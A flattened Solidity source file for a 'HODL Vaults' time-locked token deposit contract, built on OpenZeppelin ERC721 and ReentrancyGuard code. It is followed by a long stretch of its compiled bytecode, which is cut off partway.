require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _holderTokens[to].add(tokenId); _tokenOwners.set(tokenId, to); emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); // internal owner _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); // Clear metadata (if any) if (bytes(_tokenURIs[tokenId]).length != 0) { delete _tokenURIs[tokenId]; } _holderTokens[owner].remove(tokenId); _tokenOwners.remove(tokenId); emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require( ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own" ); // internal owner require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _holderTokens[from].remove(tokenId); _holderTokens[to].add(tokenId); _tokenOwners.set(tokenId, to); emit Transfer(from, to, tokenId); } /** * @dev Sets `_tokenURI` as the tokenURI of `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual { require( _exists(tokenId), "ERC721Metadata: URI set of nonexistent token" ); _tokenURIs[tokenId] = _tokenURI; } /** * @dev Internal function to set the base URI for all token IDs. It is * automatically added as a prefix to the value returned in {tokenURI}, * or to the token ID if {tokenURI} is empty. */ function _setBaseURI(string memory baseURI_) internal virtual { _baseURI = baseURI_; } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (!to.isContract()) { return true; } bytes memory returndata = to.functionCall( abi.encodeWithSelector( IERC721Receiver(to).onERC721Received.selector, _msgSender(), from, tokenId, _data ), "ERC721: transfer to non ERC721Receiver implementer" ); bytes4 retval = abi.decode(returndata, (bytes4)); return (retval == _ERC721_RECEIVED); } /** * @dev Approve `to` to operate on `tokenId` * * Emits an {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); // internal owner } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // File @openzeppelin/contracts/utils/ReentrancyGuard.sol@v3.4.1 pragma solidity >=0.6.0 <0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() internal { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // File contracts/HODLVaults/IHODLVaults.sol pragma solidity ^0.7.6; pragma abicoder v2; interface IHODLVaults is IERC721 { struct Deposit { IERC20 token; uint256 amount; uint256 depositTimestamp; uint256 withdrawTimestamp; } function deposits(uint256 _depositIndex) external returns ( IERC20 _depositToken, uint256 _depositAmount, uint256 _depositTimestamp, uint256 _withdrawTimestamp ); function deposit( IERC20 _token, uint256 _depositAmount, uint256 _withdrawTimestamp, string calldata _tokenURI ) external; function depositWithPermit( IERC20 _token, uint256 _depositAmount, uint256 _withdrawTimestamp, string calldata _tokenURI, uint256 _deadline, uint8 _v, bytes32 _r, bytes32 _s ) external; function increaseDeposit(uint256 _depositIndex, uint256 _depositAmount) external; function increaseDepositWithPermit( uint256 _depositIndex, uint256 _depositAmount, uint256 deadline, uint8 _v, bytes32 _r, bytes32 _s ) external; function withdraw(uint256 _depositIndex) external; function batchWithdraw(uint256[] calldata _depositIndexes) external; event DepositLog( address indexed userAddress, address indexed token, uint256 amount, uint256 timeLocked ); event IncreaseDepositLog( address indexed userAddress, uint256 indexed depositIndex, uint256 amount ); event WithdrawLog(address indexed userAddress, uint256 depositIndex); event SetDepositFeeManagerLog(address newDepositFeeManager); event SetDepositFeeToLog(address newDepositFeeTo); event SetDepositFeeMultiplierLog(uint256 newDepositFeeMultiplier); } // File contracts/HODLVaults/HODLVaults.sol pragma solidity ^0.7.6; contract HODLVaults is IHODLVaults, ERC721, ReentrancyGuard { using SafeMath for uint256; using SafeERC20 for IERC20; address public depositFeeManager; address public depositFeeTo; uint256 public depositFeeMultiplier; // Multiplied by 10000 uint256 private nextDepositId; mapping(uint256 => Deposit) public override deposits; constructor() ERC721("HODL Vaults", "HODL") { depositFeeManager = msg.sender; emit SetDepositFeeManagerLog(msg.sender); depositFeeTo = msg.sender; emit SetDepositFeeToLog(msg.sender); depositFeeMultiplier = 30; emit SetDepositFeeMultiplierLog(30); } function deposit( IERC20 _token, uint256 _depositAmount, uint256 _withdrawTimestamp, string calldata _tokenURI ) external override nonReentrant { require( _withdrawTimestamp > block.timestamp, "Funds need to be locked for some time" ); uint256 balanceBefore = _token.balanceOf(address(this)); _token.safeTransferFrom(msg.sender, address(this), _depositAmount); uint256 balanceAfter = _token.balanceOf(address(this)); require( balanceAfter > balanceBefore, "Deposit amount must be positive" ); uint256 depositAmount = balanceAfter - balanceBefore; uint256 fee = depositAmount.mul(depositFeeMultiplier) / 10000; if (fee > 0) { depositAmount = depositAmount - fee; address feeTo = depositFeeTo; if (feeTo != address(0)) { _token.safeTransfer(feeTo, fee); } } uint256 depositId = nextDepositId; nextDepositId = depositId.add(1); deposits[depositId] = Deposit({ token: _token, amount: depositAmount, depositTimestamp: block.timestamp, withdrawTimestamp: _withdrawTimestamp }); _safeMint(msg.sender, depositId); _setTokenURI(depositId, _tokenURI); emit DepositLog( address(_token), msg.sender, depositAmount, _withdrawTimestamp - block.timestamp ); } function depositWithPermit( IERC20 _token, uint256 _depositAmount, uint256 _withdrawTimestamp, string calldata _tokenURI, uint256 _deadline, uint8 _v, bytes32 _r, bytes32 _s ) external override { IERC20Permit(address(_token)).permit( msg.sender, address(this), _depositAmount, _deadline, _v, _r, _s ); this.deposit(_token, _depositAmount, _withdrawTimestamp, _tokenURI); } function increaseDeposit(uint256 _depositIndex, uint256 _depositAmount) external override nonReentrant { Deposit memory userDeposit = deposits[_depositIndex]; require( block.timestamp < userDeposit.withdrawTimestamp, "Deposit is not locked" ); uint256 balanceBefore = userDeposit.token.balanceOf(address(this)); userDeposit.token.safeTransferFrom( msg.sender, address(this), _depositAmount ); uint256 balanceAfter = userDeposit.token.balanceOf(address(this)); require( balanceAfter > balanceBefore, "Deposit amount must be positive" ); uint256 depositAmount = balanceAfter - balanceBefore; uint256 fee = depositAmount.mul(depositFeeMultiplier) / 10000; if (fee > 0) { depositAmount = depositAmount - fee; address feeTo = depositFeeTo; if (feeTo != address(0)) { userDeposit.token.safeTransfer(feeTo, fee); } } deposits[_depositIndex].amount = userDeposit.amount.add(depositAmount); emit IncreaseDepositLog(msg.sender, _depositIndex, depositAmount); } function increaseDepositWithPermit( uint256 _depositIndex, uint256 _depositAmount, uint256 _deadline, uint8 _v, bytes32 _r, bytes32 _s ) external override { IERC20Permit(address(deposits[_depositIndex].token)).permit( msg.sender, address(this), _depositAmount, _deadline, _v, _r, _s ); this.increaseDeposit(_depositIndex, _depositAmount); } function withdraw(uint256 _depositIndex) public override nonReentrant { require( msg.sender == ownerOf(_depositIndex), "User is not the owner of the deposit" ); Deposit memory userDeposit = deposits[_depositIndex]; require( block.timestamp >= userDeposit.withdrawTimestamp, "Deposit is still locked" ); delete deposits[_depositIndex]; _burn(_depositIndex); userDeposit.token.safeTransfer(msg.sender, userDeposit.amount); emit WithdrawLog(msg.sender, _depositIndex); } function batchWithdraw(uint256[] calldata _depositIndexes) external override { for (uint256 i = 0; i < _depositIndexes.length; i++) { withdraw(_depositIndexes[i]); } } // Set the deposit fee manager. function setDepositFeeManager(address _newDepositFeeManager) external { require( msg.sender == depositFeeManager, "Only for deposit fee manager" ); depositFeeManager = _newDepositFeeManager; emit SetDepositFeeManagerLog(_newDepositFeeManager); } // Set the destination address for the deposit fees. function setDepositFeeTo(address _newDepositFeeTo) external { require( msg.sender == depositFeeManager, "Only for deposit fee manager" ); depositFeeTo = _newDepositFeeTo; emit SetDepositFeeToLog(_newDepositFeeTo); } // Set deposit fee amount. function setDepositFeeMultiplier(uint256 _newDepositFeeMultiplier) external { require( msg.sender == depositFeeManager, "Only for deposit fee manager" ); require(_newDepositFeeMultiplier <= 100, "Maximum fee is 1%"); depositFeeMultiplier = _newDepositFeeMultiplier; emit SetDepositFeeMultiplierLog(_newDepositFeeMultiplier); } }
0x608060405234801561001057600080fd5b50600436106101da5760003560e01c80636352211e1161010457806395d89b41116100a2578063b88d4fde11610071578063b88d4fde146103cf578063c87b56dd146103e2578063e985e9c5146103f5578063fd28e70514610408576101da565b806395d89b411461037e5780639c6855f514610386578063a22cb46514610399578063b02c43d0146103ac576101da565b806370a08231116100de57806370a082311461034857806372e553991461035b5780637b8b8acc1461036e578063957fecca14610376576101da565b80636352211e1461031a57806367c83a461461032d5780636c0360eb14610340576101da565b80631a7a8d941161017c5780632f745c591161014b5780632f745c59146102ce5780633a8cbc38146102e157806342842e0e146102f45780634f6ccce714610307576101da565b80631a7a8d941461028d57806323b872dd146102955780632477709f146102a85780632e1a7d4d146102bb576101da565b8063095ea7b3116101b8578063095ea7b31461023d5780630fc5d1cc14610252578063177c8c7c1461026557806318160ddd14610278576101da565b806301ffc9a7146101df57806306fdde0314610208578063081812fc1461021d575b600080fd5b6101f26101ed3660046124db565b61041b565b6040516101ff91906127f6565b60405180910390f35b61021061043e565b6040516101ff9190612873565b61023061022b36600461260f565b6104d4565b6040516101ff9190612727565b61025061024b366004612425565b610520565b005b6102506102603660046122a0565b6105b8565b61025061027336600461257b565b610638565b61028061070a565b6040516101ff9190612ff6565b61023061071b565b6102506102a33660046122f4565b61072a565b6102506102b636600461260f565b610762565b6102506102c936600461260f565b6107e2565b6102806102dc366004612425565b61094d565b6102506102ef366004612513565b610978565b6102506103023660046122f4565b610c6c565b61028061031536600461260f565b610c87565b61023061032836600461260f565b610c9d565b61025061033b366004612660565b610cc5565b610210610d9f565b6102806103563660046122a0565b610e00565b610250610369366004612450565b610e49565b610280610e77565b610230610e7d565b610210610e8c565b6102506103943660046122a0565b610eed565b6102506103a73660046123f8565b610f62565b6103bf6103ba36600461260f565b611030565b6040516101ff949392919061284d565b6102506103dd366004612334565b611061565b6102106103f036600461260f565b6110a0565b6101f26104033660046122bc565b6111e4565b61025061041636600461263f565b611212565b6001600160e01b0319811660009081526020819052604090205460ff165b919050565b60068054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156104ca5780601f1061049f576101008083540402835291602001916104ca565b820191906000526020600020905b8154815290600101906020018083116104ad57829003601f168201915b5050505050905090565b60006104df826114a6565b6105045760405162461bcd60e51b81526004016104fb90612c8d565b60405180910390fd5b506000908152600460205260409020546001600160a01b031690565b600061052b82610c9d565b9050806001600160a01b0316836001600160a01b0316141561055f5760405162461bcd60e51b81526004016104fb90612dbd565b806001600160a01b03166105716114b3565b6001600160a01b0316148061058d575061058d816104036114b3565b6105a95760405162461bcd60e51b81526004016104fb90612af7565b6105b383836114b7565b505050565b600b546001600160a01b031633146105e25760405162461bcd60e51b81526004016104fb906128c8565b600b80546001600160a01b0319166001600160a01b0383161790556040517fbc5fb7aa35f59d76f4da857173596a4b59459d9fe6912f71e7ffd01d6839510f9061062d908390612727565b60405180910390a150565b60405163d505accf60e01b81526001600160a01b038a169063d505accf9061067090339030908d908a908a908a908a90600401612778565b600060405180830381600087803b15801561068a57600080fd5b505af115801561069e573d6000803e3d6000fd5b5050604051630751978760e31b8152309250633a8cbc3891506106cd908c908c908c908c908c90600401612801565b600060405180830381600087803b1580156106e757600080fd5b505af11580156106fb573d6000803e3d6000fd5b50505050505050505050505050565b60006107166002611525565b905090565b600c546001600160a01b031681565b61073b6107356114b3565b82611530565b6107575760405162461bcd60e51b81526004016104fb90612dfe565b6105b38383836115b5565b600b546001600160a01b0316331461078c5760405162461bcd60e51b81526004016104fb906128c8565b60648111156107ad5760405162461bcd60e51b81526004016104fb906128ff565b600d8190556040517ffcea9afb0c17eb79232a9b13080e76313027dd98e28524b4f652eee1a0a3077d9061062d908390612ff6565b6002600a5414156108055760405162461bcd60e51b81526004016104fb90612f4b565b6002600a5561081381610c9d565b6001600160a01b0316336001600160a01b0316146108435760405162461bcd60e51b81526004016104fb90612ebd565b6000818152600f6020908152604091829020825160808101845281546001600160a01b03168152600182015492810192909252600281015492820192909252600390910154606082018190524210156108ae5760405162461bcd60e51b81526004016104fb90612b9e565b6000828152600f6020526040812080546001600160a01b03191681556001810182905560028101829055600301556108e5826116c3565b60208101518151610903916001600160a01b03909116903390611790565b336001600160a01b03167fe3e9839feffe8b09968afc53bb5d9e159acf58162773c4b2c26f942cab6f33398360405161093c9190612ff6565b60405180910390a250506001600a55565b6001600160a01b038216600090815260016020526040812061096f90836117e6565b90505b92915050565b6002600a54141561099b5760405162461bcd60e51b81526004016104fb90612f4b565b6002600a554283116109bf5760405162461bcd60e51b81526004016104fb90612fb1565b6040516370a0823160e01b81526000906001600160a01b038716906370a08231906109ee903090600401612727565b60206040518083038186803b158015610a0657600080fd5b505afa158015610a1a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a3e9190612627565b9050610a556001600160a01b0387163330886117f2565b6040516370a0823160e01b81526000906001600160a01b038816906370a0823190610a84903090600401612727565b60206040518083038186803b158015610a9c57600080fd5b505afa158015610ab0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ad49190612627565b9050818111610af55760405162461bcd60e51b81526004016104fb90612e86565b600d548282039060009061271090610b0e908490611813565b81610b1557fe5b0490508015610b4b57600c5491819003916001600160a01b03168015610b4957610b496001600160a01b038b168284611790565b505b600e54610b5981600161184d565b600e55604080516080810182526001600160a01b038c81168252602080830187815242848601908152606085018e81526000888152600f90945295909220935184546001600160a01b0319169316929092178355905160018301555160028201559051600390910155610bcc3382611872565b610c0c8188888080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525061189092505050565b336001600160a01b03168a6001600160a01b03167f78224a88f7c95be3bb7cba493c263448a12cba3834e250191a4cc873e861457585428c03604051610c53929190612fff565b60405180910390a350506001600a555050505050505050565b6105b383838360405180602001604052806000815250611061565b600080610c956002846118d4565b509392505050565b6000610972826040518060600160405280602981526020016130a560299139600291906118f2565b6000868152600f60205260409081902054905163d505accf60e01b81526001600160a01b039091169063d505accf90610d0e90339030908a908a908a908a908a90600401612778565b600060405180830381600087803b158015610d2857600080fd5b505af1158015610d3c573d6000803e3d6000fd5b505060405163fd28e70560e01b815230925063fd28e7059150610d659089908990600401612fff565b600060405180830381600087803b158015610d7f57600080fd5b505af1158015610d93573d6000803e3d6000fd5b50505050505050505050565b60098054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156104ca5780601f1061049f576101008083540402835291602001916104ca565b60006001600160a01b038216610e285760405162461bcd60e51b81526004016104fb90612b54565b6001600160a01b038216600090815260016020526040902061097290611525565b60005b818110156105b357610e6f838383818110610e6357fe5b905060200201356107e2565b600101610e4c565b600d5481565b600b546001600160a01b031681565b60078054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156104ca5780601f1061049f576101008083540402835291602001916104ca565b600b546001600160a01b03163314610f175760405162461bcd60e51b81526004016104fb906128c8565b600c80546001600160a01b0319166001600160a01b0383161790556040517fd08c1fa5b8084a496c6a89e3e9398f2a7142281986cabb84d5cd0ab9dcaa2fa39061062d908390612727565b610f6a6114b3565b6001600160a01b0316826001600160a01b03161415610f9b5760405162461bcd60e51b81526004016104fb90612a2e565b8060056000610fa86114b3565b6001600160a01b03908116825260208083019390935260409182016000908120918716808252919093529120805460ff191692151592909217909155610fec6114b3565b6001600160a01b03167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c318360405161102491906127f6565b60405180910390a35050565b600f6020526000908152604090208054600182015460028301546003909301546001600160a01b0390921692909184565b61107261106c6114b3565b83611530565b61108e5760405162461bcd60e51b81526004016104fb90612dfe565b61109a84848484611909565b50505050565b60606110ab826114a6565b6110c75760405162461bcd60e51b81526004016104fb90612d6e565b60008281526008602090815260408083208054825160026001831615610100026000190190921691909104601f81018590048502820185019093528281529290919083018282801561115a5780601f1061112f5761010080835404028352916020019161115a565b820191906000526020600020905b81548152906001019060200180831161113d57829003601f168201915b50505050509050600061116b610d9f565b905080516000141561117f57509050610439565b8151156111b15780826040516020016111999291906126f8565b60405160208183030381529060405292505050610439565b806111bb8561193c565b6040516020016111cc9291906126f8565b60405160208183030381529060405292505050919050565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205460ff1690565b6002600a5414156112355760405162461bcd60e51b81526004016104fb90612f4b565b6002600a8190556000838152600f6020908152604091829020825160808101845281546001600160a01b0316815260018201549281019290925292830154918101919091526003909101546060820181905242106112a55760405162461bcd60e51b81526004016104fb90612f82565b80516040516370a0823160e01b81526000916001600160a01b0316906370a08231906112d5903090600401612727565b60206040518083038186803b1580156112ed57600080fd5b505afa158015611301573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113259190612627565b825190915061133f906001600160a01b03163330866117f2565b81516040516370a0823160e01b81526000916001600160a01b0316906370a082319061136f903090600401612727565b60206040518083038186803b15801561138757600080fd5b505afa15801561139b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113bf9190612627565b90508181116113e05760405162461bcd60e51b81526004016104fb90612e86565b600d5482820390600090612710906113f9908490611813565b8161140057fe5b049050801561143857600c5491819003916001600160a01b03168015611436578551611436906001600160a01b03168284611790565b505b6020850151611447908361184d565b6000888152600f6020526040908190206001019190915551879033907fc6a8bd75cf05557ce013c9f8235f0d449a89dd858e15eca0db32ade5dad07c5090611490908690612ff6565b60405180910390a350506001600a555050505050565b6000610972600283611a17565b3390565b600081815260046020526040902080546001600160a01b0319166001600160a01b03841690811790915581906114ec82610c9d565b6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b600061097282611a23565b600061153b826114a6565b6115575760405162461bcd60e51b81526004016104fb90612aab565b600061156283610c9d565b9050806001600160a01b0316846001600160a01b0316148061159d5750836001600160a01b0316611592846104d4565b6001600160a01b0316145b806115ad57506115ad81856111e4565b949350505050565b826001600160a01b03166115c882610c9d565b6001600160a01b0316146115ee5760405162461bcd60e51b81526004016104fb90612d25565b6001600160a01b0382166116145760405162461bcd60e51b81526004016104fb906129ea565b61161f8383836105b3565b61162a6000826114b7565b6001600160a01b038316600090815260016020526040902061164c9082611a27565b506001600160a01b038216600090815260016020526040902061166f9082611a33565b5061167c60028284611a3f565b5080826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a4505050565b60006116ce82610c9d565b90506116dc816000846105b3565b6116e76000836114b7565b600082815260086020526040902054600260001961010060018416150201909116041561172557600082815260086020526040812061172591612167565b6001600160a01b03811660009081526001602052604090206117479083611a27565b50611753600283611a55565b5060405182906000906001600160a01b038416907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908390a45050565b6105b38363a9059cbb60e01b84846040516024016117af9291906127dd565b60408051601f198184030181529190526020810180516001600160e01b03166001600160e01b031990931692909217909152611a61565b600061096f8383611af0565b61109a846323b872dd60e01b8585856040516024016117af939291906127b9565b60008261182257506000610972565b8282028284828161182f57fe5b041461096f5760405162461bcd60e51b81526004016104fb90612c4c565b60008282018381101561096f5760405162461bcd60e51b81526004016104fb906129b3565b61188c828260405180602001604052806000815250611b35565b5050565b611899826114a6565b6118b55760405162461bcd60e51b81526004016104fb90612cd9565b600082815260086020908152604090912082516105b3928401906121ae565b60008080806118e38686611b68565b909450925050505b9250929050565b60006118ff848484611bc4565b90505b9392505050565b6119148484846115b5565b61192084848484611c23565b61109a5760405162461bcd60e51b81526004016104fb9061292a565b60608161196157506040805180820190915260018152600360fc1b6020820152610439565b8160005b811561197957600101600a82049150611965565b60008167ffffffffffffffff8111801561199257600080fd5b506040519080825280601f01601f1916602001820160405280156119bd576020820181803683370190505b50859350905060001982015b8315611a0e57600a840660300160f81b828280600190039350815181106119ec57fe5b60200101906001600160f81b031916908160001a905350600a840493506119c9565b50949350505050565b600061096f8383611d02565b5490565b600061096f8383611d1a565b600061096f8383611de0565b60006118ff84846001600160a01b038516611e2a565b600061096f8383611ec1565b6000611ab6826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b0316611f959092919063ffffffff16565b8051909150156105b35780806020019051810190611ad491906124bf565b6105b35760405162461bcd60e51b81526004016104fb90612f01565b81546000908210611b135760405162461bcd60e51b81526004016104fb90612886565b826000018281548110611b2257fe5b9060005260206000200154905092915050565b611b3f8383611fa4565b611b4c6000848484611c23565b6105b35760405162461bcd60e51b81526004016104fb9061292a565b815460009081908310611b8d5760405162461bcd60e51b81526004016104fb90612bd5565b6000846000018481548110611b9e57fe5b906000526020600020906002020190508060000154816001015492509250509250929050565b60008281526001840160205260408120548281611bf45760405162461bcd60e51b81526004016104fb9190612873565b50846000016001820381548110611c0757fe5b9060005260206000209060020201600101549150509392505050565b6000611c37846001600160a01b0316612068565b611c43575060016115ad565b6000611ccb630a85bd0160e11b611c586114b3565b888787604051602401611c6e949392919061273b565b604051602081830303815290604052906001600160e01b0319166020820180516001600160e01b038381831617835250505050604051806060016040528060328152602001613073603291396001600160a01b0388169190611f95565b9050600081806020019051810190611ce391906124f7565b6001600160e01b031916630a85bd0160e11b1492505050949350505050565b60009081526001919091016020526040902054151590565b60008181526001830160205260408120548015611dd65783546000198083019190810190600090879083908110611d4d57fe5b9060005260206000200154905080876000018481548110611d6a57fe5b600091825260208083209091019290925582815260018981019092526040902090840190558654879080611d9a57fe5b60019003818190600052602060002001600090559055866001016000878152602001908152602001600020600090556001945050505050610972565b6000915050610972565b6000611dec8383611d02565b611e2257508154600181810184556000848152602080822090930184905584548482528286019093526040902091909155610972565b506000610972565b600082815260018401602052604081205480611e8f575050604080518082018252838152602080820184815286546001818101895560008981528481209551600290930290950191825591519082015586548684528188019092529290912055611902565b82856000016001830381548110611ea257fe5b9060005260206000209060020201600101819055506000915050611902565b60008181526001830160205260408120548015611dd65783546000198083019190810190600090879083908110611ef457fe5b9060005260206000209060020201905080876000018481548110611f1457fe5b600091825260208083208454600290930201918255600193840154918401919091558354825289830190526040902090840190558654879080611f5357fe5b60008281526020808220600260001990940193840201828155600190810183905592909355888152898201909252604082209190915594506109729350505050565b60606118ff848460008561206e565b6001600160a01b038216611fca5760405162461bcd60e51b81526004016104fb90612c17565b611fd3816114a6565b15611ff05760405162461bcd60e51b81526004016104fb9061297c565b611ffc600083836105b3565b6001600160a01b038216600090815260016020526040902061201e9082611a33565b5061202b60028284611a3f565b5060405181906001600160a01b038416906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b3b151590565b6060824710156120905760405162461bcd60e51b81526004016104fb90612a65565b61209985612068565b6120b55760405162461bcd60e51b81526004016104fb90612e4f565b600080866001600160a01b031685876040516120d191906126dc565b60006040518083038185875af1925050503d806000811461210e576040519150601f19603f3d011682016040523d82523d6000602084013e612113565b606091505b509150915061212382828661212e565b979650505050505050565b6060831561213d575081611902565b82511561214d5782518084602001fd5b8160405162461bcd60e51b81526004016104fb9190612873565b50805460018160011615610100020316600290046000825580601f1061218d57506121ab565b601f0160209004906000526020600020908101906121ab919061223a565b50565b828054600181600116156101000203166002900490600052602060002090601f0160209004810192826121e4576000855561222a565b82601f106121fd57805160ff191683800117855561222a565b8280016001018555821561222a579182015b8281111561222a57825182559160200191906001019061220f565b5061223692915061223a565b5090565b5b80821115612236576000815560010161223b565b60008083601f840112612260578182fd5b50813567ffffffffffffffff811115612277578182fd5b6020830191508360208285010111156118eb57600080fd5b803560ff8116811461043957600080fd5b6000602082840312156122b1578081fd5b813561096f81613039565b600080604083850312156122ce578081fd5b82356122d981613039565b915060208301356122e981613039565b809150509250929050565b600080600060608486031215612308578081fd5b833561231381613039565b9250602084013561232381613039565b929592945050506040919091013590565b60008060008060808587031215612349578081fd5b843561235481613039565b935060208581013561236581613039565b935060408601359250606086013567ffffffffffffffff80821115612388578384fd5b818801915088601f83011261239b578384fd5b8135818111156123a757fe5b604051601f8201601f19168101850183811182821017156123c457fe5b60405281815283820185018b10156123da578586fd5b81858501868301379081019093019390935250939692955090935050565b6000806040838503121561240a578182fd5b823561241581613039565b915060208301356122e98161304e565b60008060408385031215612437578182fd5b823561244281613039565b946020939093013593505050565b60008060208385031215612462578182fd5b823567ffffffffffffffff80821115612479578384fd5b818501915085601f83011261248c578384fd5b81358181111561249a578485fd5b86602080830285010111156124ad578485fd5b60209290920196919550909350505050565b6000602082840312156124d0578081fd5b815161096f8161304e565b6000602082840312156124ec578081fd5b813561096f8161305c565b600060208284031215612508578081fd5b815161096f8161305c565b60008060008060006080868803121561252a578081fd5b853561253581613039565b94506020860135935060408601359250606086013567ffffffffffffffff81111561255e578182fd5b61256a8882890161224f565b969995985093965092949392505050565b60008060008060008060008060006101008a8c031215612599578687fd5b89356125a481613039565b985060208a0135975060408a0135965060608a013567ffffffffffffffff8111156125cd578485fd5b6125d98c828d0161224f565b90975095505060808a013593506125f260a08b0161228f565b925060c08a0135915060e08a013590509295985092959850929598565b600060208284031215612620578081fd5b5035919050565b600060208284031215612638578081fd5b5051919050565b60008060408385031215612651578182fd5b50508035926020909101359150565b60008060008060008060c08789031215612678578384fd5b8635955060208701359450604087013593506126966060880161228f565b92506080870135915060a087013590509295509295509295565b600081518084526126c881602086016020860161300d565b601f01601f19169290920160200192915050565b600082516126ee81846020870161300d565b9190910192915050565b6000835161270a81846020880161300d565b83519083019061271e81836020880161300d565b01949350505050565b6001600160a01b0391909116815260200190565b6001600160a01b038581168252841660208201526040810183905260806060820181905260009061276e908301846126b0565b9695505050505050565b6001600160a01b0397881681529590961660208601526040850193909352606084019190915260ff16608083015260a082015260c081019190915260e00190565b6001600160a01b039384168152919092166020820152604081019190915260600190565b6001600160a01b03929092168252602082015260400190565b901515815260200190565b600060018060a01b038716825285602083015284604083015260806060830152826080830152828460a084013781830160a090810191909152601f909201601f19160101949350505050565b6001600160a01b0394909416845260208401929092526040830152606082015260800190565b60006020825261096f60208301846126b0565b60208082526022908201527f456e756d657261626c655365743a20696e646578206f7574206f6620626f756e604082015261647360f01b606082015260800190565b6020808252601c908201527f4f6e6c7920666f72206465706f73697420666565206d616e6167657200000000604082015260600190565b6020808252601190820152704d6178696d756d2066656520697320312560781b604082015260600190565b60208082526032908201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560408201527131b2b4bb32b91034b6b83632b6b2b73a32b960711b606082015260800190565b6020808252601c908201527f4552433732313a20746f6b656e20616c7265616479206d696e74656400000000604082015260600190565b6020808252601b908201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604082015260600190565b60208082526024908201527f4552433732313a207472616e7366657220746f20746865207a6572